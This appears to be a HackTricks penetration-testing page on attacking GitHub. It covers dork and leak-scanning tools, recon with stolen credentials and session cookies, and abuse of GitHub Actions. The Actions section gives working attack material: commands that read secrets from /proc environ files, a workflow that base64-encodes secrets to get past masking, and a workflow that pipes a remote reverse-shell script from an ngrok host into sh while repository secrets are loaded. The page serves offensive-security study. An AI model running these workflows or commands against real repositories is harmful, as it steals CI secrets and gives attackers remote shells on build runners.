hacktricks/cloud-security/github-security/README.md

Github Security

What is Github

(From here) At a high level, GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code.

Basic Information

{% content-ref url="basic-github-information.md" %} basic-github-information.md {% endcontent-ref %}

External Recon

Github repositories can be configured as public, private and internal.

• Private means that only people of the organisation will be able to access them
• Internal means that only people of the enterprise (an enterprise may have several organisations) will be able to access it
• Public means that all internet is going to be able to access it.

In case you know the user, repo or organisation you want to target you can use github dorks to find sensitive information or search for sensitive information leaks on each repo.

Github Dorks

Github allows to search for something specifying as scope a user, a repo or an organisation. Therefore, with a list of strings that are going to appear close to sensitive information you can easily search for potential sensitive information in your target.

Tools (each tool contains its list of dorks):

• https://github.com/obheda12/GitDorker (Dorks list)
• https://github.com/techgaun/github-dorks (Dorks list)
• https://github.com/hisxo/gitGraber (Dorks list)

Github Leaks

Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will download each repo and search for sensitive information in them (even checking certain depth of commits).

Tools (each tool contains its list of regexes):

• https://github.com/zricethezav/gitleaks
• https://github.com/trufflesecurity/truffleHog
• https://github.com/eth0izzle/shhgit
• https://github.com/michenriksen/gitrob
• https://github.com/anshumanbh/git-all-secrets
• https://github.com/kootenpv/gittyleaks
• https://github.com/awslabs/git-secrets

Internal Recon

With User Credentials

If you somehow already have credentials for a user inside an organization you can just login and check which enterprise and organization roles you have, if you are a raw member, check which permissions raw members have, in which groups you are, which permissions you have over which repos, and how are the repos protected.

Note that 2FA may be used so you will only be able to access this information if you can also pass that check.

{% hint style="info" %} Note that if you manage to steal the user_session cookie (currently configured with SameSite: Lax) you can completely impersonate the user without needing credentials or 2FA. {% endhint %}

With User SSH Key

GPG Keys

With User Token

With Oauth Application

With Github Application

With Malicious Github Action

In case you can execute arbitrary github actions in a repository, you can steal the secrets from that repo.

In case members of an organization can create new repos and you can execute github actions, you can create a new repo and steal the secrets set at organization level.

In case you somehow managed to infiltrate inside a Github Action, if you can escalate privileges you can steal secrets from the processes the secrets have been set in. In some cases you don't even need to escalate privileges.

cat /proc/<proc_number>/environ
cat /proc/*/environ | grep -i secret #Suposing the env variable name contains "secret"

List secrets in Github Action output

name: list_env
on:
  workflow_dispatch:
jobs:     
  List_env:
    runs-on: ubuntu-latest
    steps:
      - name: List Env
        # Need to base64 encode or github will change the secret value for "***"
        run: sh -c 'env | grep "secret_" | base64 -w0'
        env:
          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
          secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Get reverse shell with secrets

name: revshell
on:
  workflow_dispatch:
jobs:     
  create_pull_request:
    runs-on: ubuntu-latest
    steps:
      - name: Get Rev Shell
        run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
        env:
          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
          secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Bypassing Branch Protection